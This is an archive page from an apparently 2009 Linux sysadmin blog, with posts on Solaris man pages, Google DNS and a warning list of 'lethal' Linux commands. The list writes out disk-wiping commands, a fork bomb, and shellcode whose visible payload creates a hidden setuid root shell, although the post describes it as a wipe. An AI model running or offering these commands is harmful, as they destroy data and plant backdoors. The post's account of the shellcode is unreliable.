Archive for December, 2009

FAQ: How to install manual pages in Solaris?

solaris logoIn order to use install man pages for various commands in Solaris it is necessary to get two packages: SUNWman and SUNWdoc. You can check if they are already installed using commands ‘pkginfo SUNWdoc' and 'pkginfo SUNWman', or just try ‘man man‘. If they are not present in your system you can install them from Solaris 10 cd-rom (I guess you’re using exactly this version of Sun’ operating system):

1. Mount cd-rom:

mount -F hsfs /dev/dsk/c0t1d0s2 /mnt/

where c0t1d0s2 is identifier of your cd-rom and may differ from system to system.

2. Install Packages:

pkgadd -d /mnt/Solaris_10/Product SUNWman
pkgadd -d /mnt/Solaris_10/Product SUNWdoc

Sexy Christmas Wallpapers

Ho-ho-ho, see below a set of Sexy Christmas Wallpapers
Continue reading…

Best of Linux Cheat Sheets

Below list of Linux cheat sheets can be used by everybody who administer Linux operating system including beginners/newbies and bearded gurus.

PDF | Command Line Interface (CLI), Security, Networking

HTML | CLI, Gnome/KDE

PDF | Linux Distributions Cheat Sheets

HTML/PDF | vi, sed, awk

Google Public DNS: 8.8.8.8 and 8.8.4.4

Today Google unveiled its new project: Google Public DNS. It means now anybody can use Google’s DNS managed servers for resolving domain names into IP addresses and back. According to Google it should speedup browsing as well as security. Hope I won’t see adsense ads once tried to load expired domain name (that’s how OpenDNS acts today).

Here are easy-to-remember Google Public DNS IP addresses: 8.8.8.8 and 8.8.4.4.

Continue reading…

13 Linux lethal commands

dead linuxIn this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ




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My name is Artem N. (artiomix AT gmail DOT com) and I'm Linux/Unix, Cisco systems engineer. The main idea of Linux Screw is to share relevant knowledge, skills and observations over The Web. Here you can find a lot of information related to different Linux distributions, FreeBSD, IOS as well as a other Open Source around staff. Read more ››